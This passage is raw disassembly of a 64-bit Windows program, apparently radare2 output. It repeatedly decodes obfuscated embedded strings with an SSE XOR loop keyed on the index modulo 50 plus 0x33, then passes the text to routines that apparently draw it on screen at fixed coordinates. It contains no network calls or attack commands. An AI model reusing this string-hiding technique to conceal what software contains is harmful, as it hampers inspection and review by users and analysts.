cmp rax, rdx
je 0x1400faeb1
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x1400faea8
mov rdx, qword [rdx]
mov rcx, rax
call fcn.1400977d0
nop
lea rcx, [rbp + 0xdf8]
call fcn.14008b5d0
mov byte [0x14049f05e], 1
mov rbx, qword [rbp + 0xc0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1840], xmm0
xor eax, eax
mov qword [rbp + 0x1850], rax
mov qword [rbp + 0x1858], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1840], al
movups xmmword [rbp + 0x1860], xmm0
mov qword [rbp + 0x1870], rax
mov qword [rbp + 0x1878], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1860], al
movups xmmword [rbp + 0x1880], xmm0
mov qword [rbp + 0x1890], rax
mov qword [rbp + 0x1898], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1880], al
movups xmmword [rbp + 0x18a0], xmm0
mov qword [rbp + 0x18b0], rax
mov qword [rbp + 0x18b8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x18a0], al
movups xmmword [rbp + 0x18c0], xmm0
mov qword [rbp + 0x18d0], rax
mov qword [rbp + 0x18d8], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x18c0], al
mov dword [rbp + 0x558], 0x41a00000
mov dword [rbp + 0x55c], 0x430c0000
lea rcx, [rbp + 0x558]
call fcn.140044e30
mov rcx, r14
call fcn.140044c30
lea rdx, [0x14049e660]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14049e660]
lea rcx, [0x14049e5c0]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x14049e5c0]
mov r8, qword [0x14049e5d0]
cmp r8, qword [0x14049e670]
jne 0x1400fb1e6
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400fb1e6
mov qword [rdi + 0xe4], 0x3f800000
xor ecx, ecx
mov dword [rdi + 0xec], ecx
mov dword [rdi + 0xf0], 0x3f800000
movups xmm0, xmmword [0x140324fe8]
movups xmmword [rbp + 0xcb4], xmm0
movzx eax, word [0x140324ff8]
mov word [rbp + 0xcc4], ax
cmp byte [0x140324ff9], cl
je 0x1400fb1c0
mov r8d, ecx
cmp r15d, 2
jl 0x1400fb175
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xcb8]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400fb070
cmp r8d, 0x12
jge 0x1400fb1c0
movsxd rax, r8d
lea r9, [rbp + 0xcb4]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400fb190
lea rax, [rbp + 0xcb4]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400fb1d0
lea rdx, [rbp + 0xcb4]
jmp 0x1400fb3b1
xor ecx, ecx
mov dword [rdi + 0xe4], ecx
mov qword [rdi + 0xe8], 0x3f800000
mov dword [rdi + 0xf0], 0x3f800000
movsd xmm0, qword [0x140324fd8]
movsd qword [rbp + 0x834], xmm0
mov eax, dword [0x140324fe0]
mov dword [rbp + 0x83c], eax
movzx eax, word [0x140324fe4]
mov word [rbp + 0x840], ax
cmp byte [0x140324fe5], cl
je 0x1400fb390
mov r8d, ecx
cmp r15d, 2
jl 0x1400fb34e
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140324fd8]
xorps xmm2, xmm0
movd dword [rbp + 0x834], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x838]
xorps xmm2, xmm1
movd dword [rbp + 0x838], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x834]
add r9, rax
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400fb360
lea rax, [rbp + 0x834]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400fb3a0
lea rdx, [rbp + 0x834]
lea rcx, [rbp + 0x1840]
call fcn.1400977d0
lea rcx, [rbp + 0x1840]
cmp qword [rbp + 0x1858], 0xf
cmova rcx, qword [rbp + 0x1840]
call fcn.14006cee0
mov dword [rbp + 0x560], 0x41a00000
mov dword [rbp + 0x564], 0x43200000
lea rcx, [rbp + 0x560]
call fcn.140044e30
mov dword [rdi + 0xe4], 0x3f800000
mov dword [rdi + 0xe8], 0x3f800000
mov dword [rdi + 0xec], 0x3f800000
mov dword [rdi + 0xf0], 0x3f800000
lea rcx, [0x14049e660]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x14049e660]
call fcn.14006cee0
mov dword [rbp + 0x568], 0x41a00000
mov dword [rbp + 0x56c], 0x433e0000
lea rcx, [rbp + 0x568]
call fcn.140044e30
mov rcx, r14
call fcn.140044c30
lea rdx, [0x14049e680]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14049e680]
lea rcx, [0x14049e5e0]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x14049e5e0]
mov r8, qword [0x14049e5f0]
cmp r8, qword [0x14049e690]
jne 0x1400fb6b6
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400fb6b6
mov qword [rdi + 0xe4], 0x3f800000
xor ecx, ecx
mov dword [rdi + 0xec], ecx
mov dword [rdi + 0xf0], 0x3f800000
movups xmm0, xmmword [str.qze]
movups xmmword [rbp + 0xcc6], xmm0
movzx eax, word [0x140325020]
mov word [rbp + 0xcd6], ax
movzx eax, byte [0x140325022]
mov byte [rbp + 0xcd8], al
mov r8d, ecx
cmp r15d, 2
jl 0x1400fb645
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xcca]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400fb540
cmp r8d, 0x13
jge 0x1400fb690
movsxd rax, r8d
lea r9, [rbp + 0xcc6]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1400fb660
lea rax, [rbp + 0xcc6]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400fb6a0
lea rdx, [rbp + 0xcc6]
jmp 0x1400fb881
xor ecx, ecx
mov dword [rdi + 0xe4], ecx
mov qword [rdi + 0xe8], 0x3f800000
mov dword [rdi + 0xf0], 0x3f800000
movsd xmm0, qword [0x140325000]
movsd qword [rbp + 0x87d], xmm0
mov eax, dword [0x140325008]
mov dword [rbp + 0x885], eax
movzx eax, word [0x14032500c]
mov word [rbp + 0x889], ax
movzx eax, byte [0x14032500e]
mov byte [rbp + 0x88b], al
mov r8d, ecx
cmp r15d, 2
jl 0x1400fb81f
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140325000]
xorps xmm2, xmm0
movd dword [rbp + 0x87d], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x881]
xorps xmm2, xmm1
movd dword [rbp + 0x881], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x87d]
add r9, rax
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400fb830
lea rax, [rbp + 0x87d]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400fb870
lea rdx, [rbp + 0x87d]
lea rcx, [rbp + 0x1860]
call fcn.1400977d0
lea rcx, [rbp + 0x1860]
cmp qword [rbp + 0x1878], 0xf
cmova rcx, qword [rbp + 0x1860]
call fcn.14006cee0
mov dword [rbp + 0x570], 0x41a00000
mov dword [rbp + 0x574], 0x43520000
lea rcx, [rbp + 0x570]
call fcn.140044e30
mov dword [rdi + 0xe4], 0x3f800000
mov dword [rdi + 0xe8], 0x3f800000
mov dword [rdi + 0xec], 0x3f800000
mov dword [rdi + 0xf0], 0x3f800000
lea rcx, [0x14049e680]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x14049e680]
call fcn.14006cee0
mov dword [rbp + 0x578], 0x41a00000
mov dword [rbp + 0x57c], 0x43700000
lea rcx, [rbp + 0x578]
call fcn.140044e30
mov rcx, r14
call fcn.140044c30
lea rdx, [0x14049e6a0]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14049e6a0]
lea rcx, [0x14049e600]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x14049e600]
mov r8, qword [0x14049e610]
cmp r8, qword [0x14049e6b0]
jne 0x1400fbb96
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400fbb96
mov qword [rdi + 0xe4], 0x3f800000
xor ecx, ecx
mov dword [rdi + 0xec], ecx
mov dword [rdi + 0xf0], 0x3f800000
movups xmm0, xmmword [str._ARJ_UZNY]
movups xmmword [rbp + 0xe5e], xmm0
movsd xmm0, qword [0x140325050]
movsd qword [rbp + 0xe6e], xmm0
movzx eax, word [0x140325058]
mov word [rbp + 0xe76], ax
cmp byte [0x140325059], cl
je 0x1400fbb70
mov r8d, ecx
cmp r15d, 2
jl 0x1400fbb25
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xe62]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400fba20
cmp r8d, 0x1a
jge 0x1400fbb70
movsxd rax, r8d
lea r9, [rbp + 0xe5e]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400fbb40
lea rax, [rbp + 0xe5e]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400fbb80
lea rdx, [rbp + 0xe5e]
jmp 0x1400fbda1
xor ecx, ecx
mov dword [rdi + 0xe4], ecx
mov qword [rdi + 0xe8], 0x3f800000
mov dword [rdi + 0xf0], 0x3f800000
movups xmm0, xmmword [0x140325028]
movups xmmword [rbp + 0xd55], xmm0
mov eax, dword [0x140325038]
mov dword [rbp + 0xd65], eax
movzx eax, word [0x14032503c]
mov word [rbp + 0xd69], ax
cmp byte [0x14032503d], cl
je 0x1400fbd80
mov r8d, ecx
cmp r15d, 2
jl 0x1400fbd35
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xd59]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400fbc30
cmp r8d, 0x16
jge 0x1400fbd80
movsxd rax, r8d
lea r9, [rbp + 0xd55]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400fbd50
lea rax, [rbp + 0xd55]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400fbd90
lea rdx, [rbp + 0xd55]
lea rcx, [rbp + 0x1880]
call fcn.1400977d0
lea rcx, [rbp + 0x1880]
cmp qword [rbp + 0x1898], 0xf
cmova rcx, qword [rbp + 0x1880]
call fcn.14006cee0
mov dword [rbp + 0x580], 0x41a00000
mov dword [rbp + 0x584], 0x43820000
lea rcx, [rbp + 0x580]
call fcn.140044e30
mov dword [rdi + 0xe4], 0x3f800000
mov dword [rdi + 0xe8], 0x3f800000
mov dword [rdi + 0xec], 0x3f800000
mov dword [rdi + 0xf0], 0x3f800000
lea rcx, [0x14049e6a0]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x14049e6a0]
call fcn.14006cee0
mov dword [rbp + 0x588], 0x41a00000
mov dword [rbp + 0x58c], 0x43910000
lea rcx, [rbp + 0x588]
call fcn.140044e30
mov rcx, r14
call fcn.140044c30
lea rdx, [0x14049e6c0]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14049e6c0]
lea rcx, [0x14049e620]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rcx, qword [0x14049e620]
mov r8, qword [0x14049e630]
cmp r8, qword [0x14049e6d0]
jne 0x1400fc0b6
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400fc0b6
mov qword [rdi + 0xe4], 0x3f800000
xor ecx, ecx
mov dword [rdi + 0xec], ecx
mov dword [rdi + 0xf0], 0x3f800000
movups xmm0, xmmword [0x140325078]
movups xmmword [rbp + 0xe78], xmm0
movsd xmm0, qword [0x140325088]
movsd qword [rbp + 0xe88], xmm0
movzx eax, word [0x140325090]
mov word [rbp + 0xe90], ax
cmp byte [0x140325091], cl
je 0x1400fc090
mov r8d, ecx
cmp r15d, 2
jl 0x1400fc045
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xe7c]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400fbf40
cmp r8d, 0x1a
jge 0x1400fc090
movsxd rax, r8d
lea r9, [rbp + 0xe78]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400fc060
lea rax, [rbp + 0xe78]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400fc0a0
lea rdx, [rbp + 0xe78]
jmp 0x1400fc2c1
xor ecx, ecx
mov dword [rdi + 0xe4], ecx
mov qword [rdi + 0xe8], 0x3f800000
mov dword [rdi + 0xf0], 0x3f800000
movups xmm0, xmmword [0x140325060]
movups xmmword [rbp + 0xd6b], xmm0
mov eax, dword [0x140325070]
mov dword [rbp + 0xd7b], eax
movzx eax, word [0x140325074]
mov word [rbp + 0xd7f], ax
cmp byte [0x140325075], cl
je 0x1400fc2a0
mov r8d, ecx
cmp r15d, 2
jl 0x1400fc255
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xd6f]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400fc150
cmp r8d, 0x16
jge 0x1400fc2a0
movsxd rax, r8d
lea r9, [rbp + 0xd6b]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400fc270
lea rax, [rbp + 0xd6b]
